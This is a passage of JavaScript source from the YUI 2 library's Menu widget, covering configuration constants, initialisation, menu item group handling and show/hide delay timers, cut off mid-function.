m_oFocusedMenuItem.parent.getRoot(); } return returnVal; }, /** * @method toString * @description Returns a string representing the menu manager. * @return {String} */ toString: function () { return _MENUMANAGER; } }; }(); })(); (function () { var Lang = YAHOO.lang, // String constants _MENU = "Menu", _DIV_UPPERCASE = "DIV", _DIV_LOWERCASE = "div", _ID = "id", _SELECT = "SELECT", _XY = "xy", _Y = "y", _UL_UPPERCASE = "UL", _UL_LOWERCASE = "ul", _FIRST_OF_TYPE = "first-of-type", _LI = "LI", _OPTGROUP = "OPTGROUP", _OPTION = "OPTION", _DISABLED = "disabled", _NONE = "none", _SELECTED = "selected", _GROUP_INDEX = "groupindex", _INDEX = "index", _SUBMENU = "submenu", _VISIBLE = "visible", _HIDE_DELAY = "hidedelay", _POSITION = "position", _DYNAMIC = "dynamic", _STATIC = "static", _DYNAMIC_STATIC = _DYNAMIC + "," + _STATIC, _URL = "url", _HASH = "#", _TARGET = "target", _MAX_HEIGHT = "maxheight", _TOP_SCROLLBAR = "topscrollbar", _BOTTOM_SCROLLBAR = "bottomscrollbar", _UNDERSCORE = "_", _TOP_SCROLLBAR_DISABLED = _TOP_SCROLLBAR + _UNDERSCORE + _DISABLED, _BOTTOM_SCROLLBAR_DISABLED = _BOTTOM_SCROLLBAR + _UNDERSCORE + _DISABLED, _MOUSEMOVE = "mousemove", _SHOW_DELAY = "showdelay", _SUBMENU_HIDE_DELAY = "submenuhidedelay", _IFRAME = "iframe", _CONSTRAIN_TO_VIEWPORT = "constraintoviewport", _PREVENT_CONTEXT_OVERLAP = "preventcontextoverlap", _SUBMENU_ALIGNMENT = "submenualignment", _AUTO_SUBMENU_DISPLAY = "autosubmenudisplay", _CLICK_TO_HIDE = "clicktohide", _CONTAINER = "container", _SCROLL_INCREMENT = "scrollincrement", _MIN_SCROLL_HEIGHT = "minscrollheight", _CLASSNAME = "classname", _SHADOW = "shadow", _KEEP_OPEN = "keepopen", _HD = "hd", _HAS_TITLE = "hastitle", _CONTEXT = "context", _EMPTY_STRING = "", _MOUSEDOWN = "mousedown", _KEYDOWN = "keydown", _HEIGHT = "height", _WIDTH = "width", _PX = "px", _EFFECT = "effect", _MONITOR_RESIZE = "monitorresize", _DISPLAY = "display", _BLOCK = "block", _VISIBILITY = "visibility", _ABSOLUTE = "absolute", _ZINDEX = "zindex", _YUI_MENU_BODY_SCROLLED = "yui-menu-body-scrolled", _NON_BREAKING_SPACE = "&#32;", _SPACE = " ", _MOUSEOVER = "mouseover", _MOUSEOUT = "mouseout", _ITEM_ADDED = "itemAdded", _ITEM_REMOVED = "itemRemoved", _HIDDEN = "hidden", _YUI_MENU_SHADOW = "yui-menu-shadow", _YUI_MENU_SHADOW_VISIBLE = _YUI_MENU_SHADOW + "-visible", _YUI_MENU_SHADOW_YUI_MENU_SHADOW_VISIBLE = _YUI_MENU_SHADOW + _SPACE + _YUI_MENU_SHADOW_VISIBLE; /** * The Menu class creates a container that holds a vertical list representing * a set of options or commands. Menu is the base class for all * menu containers. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the menu. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source * for the menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object * specifying the <code>&#60;div&#62;</code> element of the menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-94282980">HTMLSelectElement</a>} p_oElement * Object specifying the <code>&#60;select&#62;</code> element to be used as * the data source for the menu. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu. See configuration class documentation for * more details. * @namespace YAHOO.widget * @class Menu * @constructor * @extends YAHOO.widget.Overlay */ YAHOO.widget.Menu = function (p_oElement, p_oConfig) { if (p_oConfig) { this.parent = p_oConfig.parent; this.lazyLoad = p_oConfig.lazyLoad || p_oConfig.lazyload; this.itemData = p_oConfig.itemData || p_oConfig.itemdata; } YAHOO.widget.Menu.superclass.constructor.call(this, p_oElement, p_oConfig); }; /** * @method checkPosition * @description Checks to make sure that the value of the "position" property * is one of the supported strings. Returns true if the position is supported. * @private * @param {Object} p_sPosition String specifying the position of the menu. * @return {Boolean} */ function checkPosition(p_sPosition) { var returnVal = false; if (Lang.isString(p_sPosition)) { returnVal = (_DYNAMIC_STATIC.indexOf((p_sPosition.toLowerCase())) != -1); } return returnVal; } var Dom = YAHOO.util.Dom, Event = YAHOO.util.Event, Module = YAHOO.widget.Module, Overlay = YAHOO.widget.Overlay, Menu = YAHOO.widget.Menu, MenuManager = YAHOO.widget.MenuManager, CustomEvent = YAHOO.util.CustomEvent, UA = YAHOO.env.ua, m_oShadowTemplate, bFocusListenerInitialized = false, oFocusedElement, EVENT_TYPES = [ ["mouseOverEvent", _MOUSEOVER], ["mouseOutEvent", _MOUSEOUT], ["mouseDownEvent", _MOUSEDOWN], ["mouseUpEvent", "mouseup"], ["clickEvent", "click"], ["keyPressEvent", "keypress"], ["keyDownEvent", _KEYDOWN], ["keyUpEvent", "keyup"], ["focusEvent", "focus"], ["blurEvent", "blur"], ["itemAddedEvent", _ITEM_ADDED], ["itemRemovedEvent", _ITEM_REMOVED] ], VISIBLE_CONFIG = { key: _VISIBLE, value: false, validator: Lang.isBoolean }, CONSTRAIN_TO_VIEWPORT_CONFIG = { key: _CONSTRAIN_TO_VIEWPORT, value: true, validator: Lang.isBoolean, supercedes: [_IFRAME,"x",_Y,_XY] }, PREVENT_CONTEXT_OVERLAP_CONFIG = { key: _PREVENT_CONTEXT_OVERLAP, value: true, validator: Lang.isBoolean, supercedes: [_CONSTRAIN_TO_VIEWPORT] }, POSITION_CONFIG = { key: _POSITION, value: _DYNAMIC, validator: checkPosition, supercedes: [_VISIBLE, _IFRAME] }, SUBMENU_ALIGNMENT_CONFIG = { key: _SUBMENU_ALIGNMENT, value: ["tl","tr"] }, AUTO_SUBMENU_DISPLAY_CONFIG = { key: _AUTO_SUBMENU_DISPLAY, value: true, validator: Lang.isBoolean, suppressEvent: true }, SHOW_DELAY_CONFIG = { key: _SHOW_DELAY, value: 250, validator: Lang.isNumber, suppressEvent: true }, HIDE_DELAY_CONFIG = { key: _HIDE_DELAY, value: 0, validator: Lang.isNumber, suppressEvent: true }, SUBMENU_HIDE_DELAY_CONFIG = { key: _SUBMENU_HIDE_DELAY, value: 250, validator: Lang.isNumber, suppressEvent: true }, CLICK_TO_HIDE_CONFIG = { key: _CLICK_TO_HIDE, value: true, validator: Lang.isBoolean, suppressEvent: true }, CONTAINER_CONFIG = { key: _CONTAINER, suppressEvent: true }, SCROLL_INCREMENT_CONFIG = { key: _SCROLL_INCREMENT, value: 1, validator: Lang.isNumber, supercedes: [_MAX_HEIGHT], suppressEvent: true }, MIN_SCROLL_HEIGHT_CONFIG = { key: _MIN_SCROLL_HEIGHT, value: 90, validator: Lang.isNumber, supercedes: [_MAX_HEIGHT], suppressEvent: true }, MAX_HEIGHT_CONFIG = { key: _MAX_HEIGHT, value: 0, validator: Lang.isNumber, supercedes: [_IFRAME], suppressEvent: true }, CLASS_NAME_CONFIG = { key: _CLASSNAME, value: null, validator: Lang.isString, suppressEvent: true }, DISABLED_CONFIG = { key: _DISABLED, value: false, validator: Lang.isBoolean, suppressEvent: true }, SHADOW_CONFIG = { key: _SHADOW, value: true, validator: Lang.isBoolean, suppressEvent: true, supercedes: [_VISIBLE] }, KEEP_OPEN_CONFIG = { key: _KEEP_OPEN, value: false, validator: Lang.isBoolean }; function onDocFocus(event) { oFocusedElement = Event.getTarget(event); } YAHOO.lang.extend(Menu, Overlay, { // Constants /** * @property CSS_CLASS_NAME * @description String representing the CSS class(es) to be applied to the * menu's <code>&#60;div&#62;</code> element. * @default "yuimenu" * @final * @type String */ CSS_CLASS_NAME: "yuimenu", /** * @property ITEM_TYPE * @description Object representing the type of menu item to instantiate and * add when parsing the child nodes (either <code>&#60;li&#62;</code> element, * <code>&#60;optgroup&#62;</code> element or <code>&#60;option&#62;</code>) * of the menu's source HTML element. * @default YAHOO.widget.MenuItem * @final * @type YAHOO.widget.MenuItem */ ITEM_TYPE: null, /** * @property GROUP_TITLE_TAG_NAME * @description String representing the tagname of the HTML element used to * title the menu's item groups. * @default H6 * @final * @type String */ GROUP_TITLE_TAG_NAME: "h6", /** * @property OFF_SCREEN_POSITION * @description Array representing the default x and y position that a menu * should have when it is positioned outside the viewport by the * "poistionOffScreen" method. * @default "-999em" * @final * @type String */ OFF_SCREEN_POSITION: "-999em", // Private properties /** * @property _useHideDelay * @description Boolean indicating if the "mouseover" and "mouseout" event * handlers used for hiding the menu via a call to "YAHOO.lang.later" have * already been assigned. * @default false * @private * @type Boolean */ _useHideDelay: false, /** * @property _bHandledMouseOverEvent * @description Boolean indicating the current state of the menu's * "mouseover" event. * @default false * @private * @type Boolean */ _bHandledMouseOverEvent: false, /** * @property _bHandledMouseOutEvent * @description Boolean indicating the current state of the menu's * "mouseout" event. * @default false * @private * @type Boolean */ _bHandledMouseOutEvent: false, /** * @property _aGroupTitleElements * @description Array of HTML element used to title groups of menu items. * @default [] * @private * @type Array */ _aGroupTitleElements: null, /** * @property _aItemGroups * @description Multi-dimensional Array representing the menu items as they * are grouped in the menu. * @default [] * @private * @type Array */ _aItemGroups: null, /** * @property _aListElements * @description Array of <code>&#60;ul&#62;</code> elements, each of which is * the parent node for each item's <code>&#60;li&#62;</code> element. * @default [] * @private * @type Array */ _aListElements: null, /** * @property _nCurrentMouseX * @description The current x coordinate of the mouse inside the area of * the menu. * @default 0 * @private * @type Number */ _nCurrentMouseX: 0, /** * @property _bStopMouseEventHandlers * @description Stops "mouseover," "mouseout," and "mousemove" event handlers * from executing. * @default false * @private * @type Boolean */ _bStopMouseEventHandlers: false, /** * @property _sClassName * @description The current value of the "classname" configuration attribute. * @default null * @private * @type String */ _sClassName: null, // Public properties /** * @property lazyLoad * @description Boolean indicating if the menu's "lazy load" feature is * enabled. If set to "true," initialization and rendering of the menu's * items will be deferred until the first time it is made visible. This * property should be set via the constructor using the configuration * object literal. * @default false * @type Boolean */ lazyLoad: false, /** * @property itemData * @description Array of items to be added to the menu. The array can contain * strings representing the text for each item to be created, object literals * representing the menu item configuration properties, or MenuItem instances. * This property should be set via the constructor using the configuration * object literal. * @default null * @type Array */ itemData: null, /** * @property activeItem * @description Object reference to the item in the menu that has is selected. * @default null * @type YAHOO.widget.MenuItem */ activeItem: null, /** * @property parent * @description Object reference to the menu's parent menu or menu item. * This property can be set via the constructor using the configuration * object literal. * @default null * @type YAHOO.widget.MenuItem */ parent: null, /** * @property srcElement * @description Object reference to the HTML element (either * <code>&#60;select&#62;</code> or <code>&#60;div&#62;</code>) used to * create the menu. * @default null * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-94282980">HTMLSelectElement</a>|<a * href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one-html. * html#ID-22445964">HTMLDivElement</a> */ srcElement: null, // Events /** * @event mouseOverEvent * @description Fires when the mouse has entered the menu. Passes back * the DOM Event object as an argument. */ /** * @event mouseOutEvent * @description Fires when the mouse has left the menu. Passes back the DOM * Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event mouseDownEvent * @description Fires when the user mouses down on the menu. Passes back the * DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event mouseUpEvent * @description Fires when the user releases a mouse button while the mouse is * over the menu. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event clickEvent * @description Fires when the user clicks the on the menu. Passes back the * DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyPressEvent * @description Fires when the user presses an alphanumeric key when one of the * menu's items has focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyDownEvent * @description Fires when the user presses a key when one of the menu's items * has focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyUpEvent * @description Fires when the user releases a key when one of the menu's items * has focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event itemAddedEvent * @description Fires when an item is added to the menu. * @type YAHOO.util.CustomEvent */ /** * @event itemRemovedEvent * @description Fires when an item is removed to the menu. * @type YAHOO.util.CustomEvent */ /** * @method init * @description The Menu class's initialization method. This method is * automatically called by the constructor, and sets up all DOM references * for pre-existing markup, and creates required markup if it is not * already present. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the menu. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source * for the menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object * specifying the <code>&#60;div&#62;</code> element of the menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-94282980">HTMLSelectElement</a>} p_oElement * Object specifying the <code>&#60;select&#62;</code> element to be used as * the data source for the menu. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu. See configuration class documentation for * more details. */ init: function (p_oElement, p_oConfig) { this._aItemGroups = []; this._aListElements = []; this._aGroupTitleElements = []; if (!this.ITEM_TYPE) { this.ITEM_TYPE = YAHOO.widget.MenuItem; } var oElement; if (Lang.isString(p_oElement)) { oElement = Dom.get(p_oElement); } else if (p_oElement.tagName) { oElement = p_oElement; } if (oElement && oElement.tagName) { switch(oElement.tagName.toUpperCase()) { case _DIV_UPPERCASE: this.srcElement = oElement; if (!oElement.id) { oElement.setAttribute(_ID, Dom.generateId()); } /* Note: we don't pass the user config in here yet because we only want it executed once, at the lowest subclass level. */ Menu.superclass.init.call(this, oElement); this.beforeInitEvent.fire(Menu); break; case _SELECT: this.srcElement = oElement; /* The source element is not something that we can use outright, so we need to create a new Overlay Note: we don't pass the user config in here yet because we only want it executed once, at the lowest subclass level. */ Menu.superclass.init.call(this, Dom.generateId()); this.beforeInitEvent.fire(Menu); break; } } else { /* Note: we don't pass the user config in here yet because we only want it executed once, at the lowest subclass level. */ Menu.superclass.init.call(this, p_oElement); this.beforeInitEvent.fire(Menu); } if (this.element) { Dom.addClass(this.element, this.CSS_CLASS_NAME); // Subscribe to Custom Events this.initEvent.subscribe(this._onInit); this.beforeRenderEvent.subscribe(this._onBeforeRender); this.renderEvent.subscribe(this._onRender); this.beforeShowEvent.subscribe(this._onBeforeShow); this.hideEvent.subscribe(this._onHide); this.showEvent.subscribe(this._onShow); this.beforeHideEvent.subscribe(this._onBeforeHide); this.mouseOverEvent.subscribe(this._onMouseOver); this.mouseOutEvent.subscribe(this._onMouseOut); this.clickEvent.subscribe(this._onClick); this.keyDownEvent.subscribe(this._onKeyDown); this.keyPressEvent.subscribe(this._onKeyPress); this.blurEvent.subscribe(this._onBlur); if (!bFocusListenerInitialized) { Event.onFocus(document, onDocFocus); bFocusListenerInitialized = true; } // Fixes an issue in Firefox 2 and Webkit where Dom's "getX" and "getY" // methods return values that don't take scrollTop into consideration if ((UA.gecko && UA.gecko < 1.9) || (UA.webkit && UA.webkit < 523)) { this.cfg.subscribeToConfigEvent(_Y, this._onYChange); } if (p_oConfig) { this.cfg.applyConfig(p_oConfig, true); } // Register the Menu instance with the MenuManager MenuManager.addMenu(this); this.initEvent.fire(Menu); } }, // Private methods /** * @method _initSubTree * @description Iterates the childNodes of the source element to find nodes * used to instantiate menu and menu items. * @private */ _initSubTree: function () { var oSrcElement = this.srcElement, sSrcElementTagName, nGroup, sGroupTitleTagName, oNode, aListElements, nListElements, i; if (oSrcElement) { sSrcElementTagName = (oSrcElement.tagName && oSrcElement.tagName.toUpperCase()); if (sSrcElementTagName == _DIV_UPPERCASE) { // Populate the collection of item groups and item group titles oNode = this.body.firstChild; if (oNode) { nGroup = 0; sGroupTitleTagName = this.GROUP_TITLE_TAG_NAME.toUpperCase(); do { if (oNode && oNode.tagName) { switch (oNode.tagName.toUpperCase()) { case sGroupTitleTagName: this._aGroupTitleElements[nGroup] = oNode; break; case _UL_UPPERCASE: this._aListElements[nGroup] = oNode; this._aItemGroups[nGroup] = []; nGroup++; break; } } } while ((oNode = oNode.nextSibling)); /* Apply the "first-of-type" class to the first UL to mimic the ":first-of-type" CSS3 psuedo class. */ if (this._aListElements[0]) { Dom.addClass(this._aListElements[0], _FIRST_OF_TYPE); } } } oNode = null; if (sSrcElementTagName) { switch (sSrcElementTagName) { case _DIV_UPPERCASE: aListElements = this._aListElements; nListElements = aListElements.length; if (nListElements > 0) { i = nListElements - 1; do { oNode = aListElements[i].firstChild; if (oNode) { do { if (oNode && oNode.tagName && oNode.tagName.toUpperCase() == _LI) { this.addItem(new this.ITEM_TYPE(oNode, { parent: this }), i); } } while ((oNode = oNode.nextSibling)); } } while (i--); } break; case _SELECT: oNode = oSrcElement.firstChild; do { if (oNode && oNode.tagName) { switch (oNode.tagName.toUpperCase()) { case _OPTGROUP: case _OPTION: this.addItem( new this.ITEM_TYPE( oNode, { parent: this } ) ); break; } } } while ((oNode = oNode.nextSibling)); break; } } } }, /** * @method _getFirstEnabledItem * @description Returns the first enabled item in the menu. * @return {YAHOO.widget.MenuItem} * @private */ _getFirstEnabledItem: function () { var aItems = this.getItems(), nItems = aItems.length, oItem, returnVal; for(var i=0; i<nItems; i++) { oItem = aItems[i]; if (oItem && !oItem.cfg.getProperty(_DISABLED) && oItem.element.style.display != _NONE) { returnVal = oItem; break; } } return returnVal; }, /** * @method _addItemToGroup * @description Adds a menu item to a group. * @private * @param {Number} p_nGroupIndex Number indicating the group to which the * item belongs. * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance to be added to the menu. * @param {HTML} p_oItem String or markup specifying the content of the item to be added * to the menu. The item is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {Object} p_oItem Object literal containing a set of menu item * configuration properties. * @param {Number} p_nItemIndex Optional. Number indicating the index at * which the menu item should be added. * @return {YAHOO.widget.MenuItem} */ _addItemToGroup: function (p_nGroupIndex, p_oItem, p_nItemIndex) { var oItem, nGroupIndex, aGroup, oGroupItem, bAppend, oNextItemSibling, nItemIndex, returnVal; function getNextItemSibling(p_aArray, p_nStartIndex) { return (p_aArray[p_nStartIndex] || getNextItemSibling(p_aArray, (p_nStartIndex+1))); } if (p_oItem instanceof this.ITEM_TYPE) { oItem = p_oItem; oItem.parent = this; } else if (Lang.isString(p_oItem)) { oItem = new this.ITEM_TYPE(p_oItem, { parent: this }); } else if (Lang.isObject(p_oItem)) { p_oItem.parent = this; oItem = new this.ITEM_TYPE(p_oItem.text, p_oItem); } if (oItem) { if (oItem.cfg.getProperty(_SELECTED)) { this.activeItem = oItem; } nGroupIndex = Lang.isNumber(p_nGroupIndex) ? p_nGroupIndex : 0; aGroup = this._getItemGroup(nGroupIndex); if (!aGroup) { aGroup = this._createItemGroup(nGroupIndex); } if (Lang.isNumber(p_nItemIndex)) { bAppend = (p_nItemIndex >= aGroup.length); if (aGroup[p_nItemIndex]) { aGroup.splice(p_nItemIndex, 0, oItem); } else { aGroup[p_nItemIndex] = oItem; } oGroupItem = aGroup[p_nItemIndex]; if (oGroupItem) { if (bAppend && (!oGroupItem.element.parentNode || oGroupItem.element.parentNode.nodeType == 11)) { this._aListElements[nGroupIndex].appendChild(oGroupItem.element); } else { oNextItemSibling = getNextItemSibling(aGroup, (p_nItemIndex+1)); if (oNextItemSibling && (!oGroupItem.element.parentNode || oGroupItem.element.parentNode.nodeType == 11)) { this._aListElements[nGroupIndex].insertBefore( oGroupItem.element, oNextItemSibling.element); } } oGroupItem.parent = this; this._subscribeToItemEvents(oGroupItem); this._configureSubmenu(oGroupItem); this._updateItemProperties(nGroupIndex); this.itemAddedEvent.fire(oGroupItem); this.changeContentEvent.fire(); returnVal = oGroupItem; } } else { nItemIndex = aGroup.length; aGroup[nItemIndex] = oItem; oGroupItem = aGroup[nItemIndex]; if (oGroupItem) { if (!Dom.isAncestor(this._aListElements[nGroupIndex], oGroupItem.element)) { this._aListElements[nGroupIndex].appendChild(oGroupItem.element); } oGroupItem.element.setAttribute(_GROUP_INDEX, nGroupIndex); oGroupItem.element.setAttribute(_INDEX, nItemIndex); oGroupItem.parent = this; oGroupItem.index = nItemIndex; oGroupItem.groupIndex = nGroupIndex; this._subscribeToItemEvents(oGroupItem); this._configureSubmenu(oGroupItem); if (nItemIndex === 0) { Dom.addClass(oGroupItem.element, _FIRST_OF_TYPE); } this.itemAddedEvent.fire(oGroupItem); this.changeContentEvent.fire(); returnVal = oGroupItem; } } } return returnVal; }, /** * @method _removeItemFromGroupByIndex * @description Removes a menu item from a group by index. Returns the menu * item that was removed. * @private * @param {Number} p_nGroupIndex Number indicating the group to which the menu * item belongs. * @param {Number} p_nItemIndex Number indicating the index of the menu item * to be removed. * @return {YAHOO.widget.MenuItem} */ _removeItemFromGroupByIndex: function (p_nGroupIndex, p_nItemIndex) { var nGroupIndex = Lang.isNumber(p_nGroupIndex) ? p_nGroupIndex : 0, aGroup = this._getItemGroup(nGroupIndex), aArray, oItem, oUL; if (aGroup) { aArray = aGroup.splice(p_nItemIndex, 1); oItem = aArray[0]; if (oItem) { // Update the index and className properties of each member this._updateItemProperties(nGroupIndex); if (aGroup.length === 0) { // Remove the UL oUL = this._aListElements[nGroupIndex]; if (oUL && oUL.parentNode) { oUL.parentNode.removeChild(oUL); } // Remove the group from the array of items this._aItemGroups.splice(nGroupIndex, 1); // Remove the UL from the array of ULs this._aListElements.splice(nGroupIndex, 1); /* Assign the "first-of-type" class to the new first UL in the collection */ oUL = this._aListElements[0]; if (oUL) { Dom.addClass(oUL, _FIRST_OF_TYPE); } } this.itemRemovedEvent.fire(oItem); this.changeContentEvent.fire(); } } // Return a reference to the item that was removed return oItem; }, /** * @method _removeItemFromGroupByValue * @description Removes a menu item from a group by reference. Returns the * menu item that was removed. * @private * @param {Number} p_nGroupIndex Number indicating the group to which the * menu item belongs. * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance to be removed. * @return {YAHOO.widget.MenuItem} */ _removeItemFromGroupByValue: function (p_nGroupIndex, p_oItem) { var aGroup = this._getItemGroup(p_nGroupIndex), nItems, nItemIndex, returnVal, i; if (aGroup) { nItems = aGroup.length; nItemIndex = -1; if (nItems > 0) { i = nItems-1; do { if (aGroup[i] == p_oItem) { nItemIndex = i; break; } } while (i--); if (nItemIndex > -1) { returnVal = this._removeItemFromGroupByIndex(p_nGroupIndex, nItemIndex); } } } return returnVal; }, /** * @method _updateItemProperties * @description Updates the "index," "groupindex," and "className" properties * of the menu items in the specified group. * @private * @param {Number} p_nGroupIndex Number indicating the group of items to update. */ _updateItemProperties: function (p_nGroupIndex) { var aGroup = this._getItemGroup(p_nGroupIndex), nItems = aGroup.length, oItem, oLI, i; if (nItems > 0) { i = nItems - 1; // Update the index and className properties of each member do { oItem = aGroup[i]; if (oItem) { oLI = oItem.element; oItem.index = i; oItem.groupIndex = p_nGroupIndex; oLI.setAttribute(_GROUP_INDEX, p_nGroupIndex); oLI.setAttribute(_INDEX, i); Dom.removeClass(oLI, _FIRST_OF_TYPE); } } while (i--); if (oLI) { Dom.addClass(oLI, _FIRST_OF_TYPE); } } }, /** * @method _createItemGroup * @description Creates a new menu item group (array) and its associated * <code>&#60;ul&#62;</code> element. Returns an aray of menu item groups. * @private * @param {Number} p_nIndex Number indicating the group to create. * @return {Array} */ _createItemGroup: function (p_nIndex) { var oUL, returnVal; if (!this._aItemGroups[p_nIndex]) { this._aItemGroups[p_nIndex] = []; oUL = document.createElement(_UL_LOWERCASE); this._aListElements[p_nIndex] = oUL; returnVal = this._aItemGroups[p_nIndex]; } return returnVal; }, /** * @method _getItemGroup * @description Returns the menu item group at the specified index. * @private * @param {Number} p_nIndex Number indicating the index of the menu item group * to be retrieved. * @return {Array} */ _getItemGroup: function (p_nIndex) { var nIndex = Lang.isNumber(p_nIndex) ? p_nIndex : 0, aGroups = this._aItemGroups, returnVal; if (nIndex in aGroups) { returnVal = aGroups[nIndex]; } return returnVal; }, /** * @method _configureSubmenu * @description Subscribes the menu item's submenu to its parent menu's events. * @private * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance with the submenu to be configured. */ _configureSubmenu: function (p_oItem) { var oSubmenu = p_oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { /* Listen for configuration changes to the parent menu so they they can be applied to the submenu. */ this.cfg.configChangedEvent.subscribe(this._onParentMenuConfigChange, oSubmenu, true); this.renderEvent.subscribe(this._onParentMenuRender, oSubmenu, true); } }, /** * @method _subscribeToItemEvents * @description Subscribes a menu to a menu item's event. * @private * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance whose events should be subscribed to. */ _subscribeToItemEvents: function (p_oItem) { p_oItem.destroyEvent.subscribe(this._onMenuItemDestroy, p_oItem, this); p_oItem.cfg.configChangedEvent.subscribe(this._onMenuItemConfigChange, p_oItem, this); }, /** * @method _onVisibleChange * @description Change event handler for the the menu's "visible" configuration * property. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onVisibleChange: function (p_sType, p_aArgs) { var bVisible = p_aArgs[0]; if (bVisible) { Dom.addClass(this.element, _VISIBLE); } else { Dom.removeClass(this.element, _VISIBLE); } }, /** * @method _cancelHideDelay * @description Cancels the call to "hideMenu." * @private */ _cancelHideDelay: function () { var oTimer = this.getRoot()._hideDelayTimer; if (oTimer) { oTimer.cancel(); } }, /** * @method _execHideDelay * @description Hides the menu after the number of milliseconds specified by * the "hidedelay" configuration property. * @private */ _execHideDelay: function () { this._cancelHideDelay(); var oRoot = this.getRoot(); oRoot._hideDelayTimer = Lang.later(oRoot.cfg.getProperty(_HIDE_DELAY), this, function () { if (oRoot.activeItem) { if (oRoot.hasFocus()) { oRoot.activeItem.focus(); } oRoot.clearActiveItem(); } if (oRoot == this && !(this instanceof YAHOO.widget.MenuBar) && this.cfg.getProperty(_POSITION) == _DYNAMIC) { this.hide(); } }); }, /** * @method _cancelShowDelay * @description Cancels the call to the "showMenu." * @private */ _cancelShowDelay: function () { var oTimer = this.getRoot()._showDelayTimer; if (oTimer) { oTimer.cancel(); } }, /** * @method _execSubmenuHideDelay * @description Hides a submenu after the number of milliseconds specified by * the "submenuhidedelay" configuration property have elapsed. * @private * @param {YAHOO.widget.Menu} p_oSubmenu Object specifying the submenu that * should be hidden. * @param {Number} p_nMouseX The x coordinate of the mouse when it left * the specified submenu's parent menu item. * @param {Number} p_nHideDelay The number of milliseconds that should ellapse * before the submenu is hidden. */ _execSubmenuHideDelay: function (p_oSubmenu, p_nMouseX, p_nHideDelay) { p_oSubmenu._submenuHideDelayTimer = Lang.later(50, this, function () { if (this._nCurrentMouseX > (p_nMouseX + 10)) { p_oSubmenu._submenuHideDelayTimer = Lang.later(p_nHideDelay, p_oSubmenu, function () { this.hide(); }); } else { p_oSubmenu.hide(); } }); }, // Protected methods /** * @method _disableScrollHeader * @description Disables the header used for scrolling the body of the menu. * @protected */ _disableScrollHeader: function () { if (!this._bHeaderDisabled) { Dom.addClass(this.header, _TOP_SCROLLBAR_DISABLED); this._bHeaderDisabled = true; } }, /** * @method _disableScrollFooter * @description Disables the footer used for scrolling the body of the menu. * @protected */ _disableScrollFooter: function () { if (!this._bFooterDisabled) { Dom.addClass(this.footer, _BOTTOM_SCROLLBAR_DISABLED); this._bFooterDisabled = true; } }, /** * @method _enableScrollHeader * @description Enables the header used for scrolling the body of the menu. * @protected */ _enableScrollHeader: function () { if (this._bHeaderDisabled) { Dom.removeClass(this.header, _TOP_SCROLLBAR_DISABLED); this._bHeaderDisabled = false; } }, /** * @method _enableScrollFooter * @description Enables the footer used for scrolling the body of the menu. * @protected */ _enableScrollFooter: function () { if (this._bFooterDisabled) { Dom.removeClass(this.footer, _BOTTOM_SCROLLBAR_DISABLED); this._bFooterDisabled = false; } }, /** * @method _onMouseOver * @description "mouseover" event handler for the menu. * @protected * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onMouseOver: function (p_sType, p_aArgs) { var oEvent = p_aArgs[0], oItem = p_aArgs[1], oTarget = Event.getTarget(oEvent), oRoot = this.getRoot(), oSubmenuHideDelayTimer = this._submenuHideDelayTimer, oParentMenu, nShowDelay, bShowDelay, oActiveItem, oItemCfg, oSubmenu; var showSubmenu = function () { if (this.parent.cfg.getProperty(_SELECTED)) { this.show(); } }; if (!this._bStopMouseEventHandlers) { if (!this._bHandledMouseOverEvent && (oTarget == this.element || Dom.isAncestor(this.element, oTarget))) { // Menu mouseover logic if (this._useHideDelay) { this._cancelHideDelay(); } this._nCurrentMouseX = 0; Event.on(this.element, _MOUSEMOVE, this._onMouseMove, this, true); /* If the mouse is moving from the submenu back to its corresponding menu item, don't hide the submenu or clear the active MenuItem. */ if (!(oItem && Dom.isAncestor(oItem.element, Event.getRelatedTarget(oEvent)))) { this.clearActiveItem(); } if (this.parent && oSubmenuHideDelayTimer) { oSubmenuHideDelayTimer.cancel(); this.parent.cfg.setProperty(_SELECTED, true); oParentMenu = this.parent.parent; oParentMenu._bHandledMouseOutEvent = true; oParentMenu._bHandledMouseOverEvent = false; } this._bHandledMouseOverEvent = true; this._bHandledMouseOutEvent = false; } if (oItem && !oItem.handledMouseOverEvent && !oItem.cfg.getProperty(_DISABLED) && (oTarget == oItem.element || Dom.isAncestor(oItem.element, oTarget))) { // Menu Item mouseover logic nShowDelay = this.cfg.getProperty(_SHOW_DELAY); bShowDelay = (nShowDelay > 0); if (bShowDelay) { this._cancelShowDelay(); } oActiveItem = 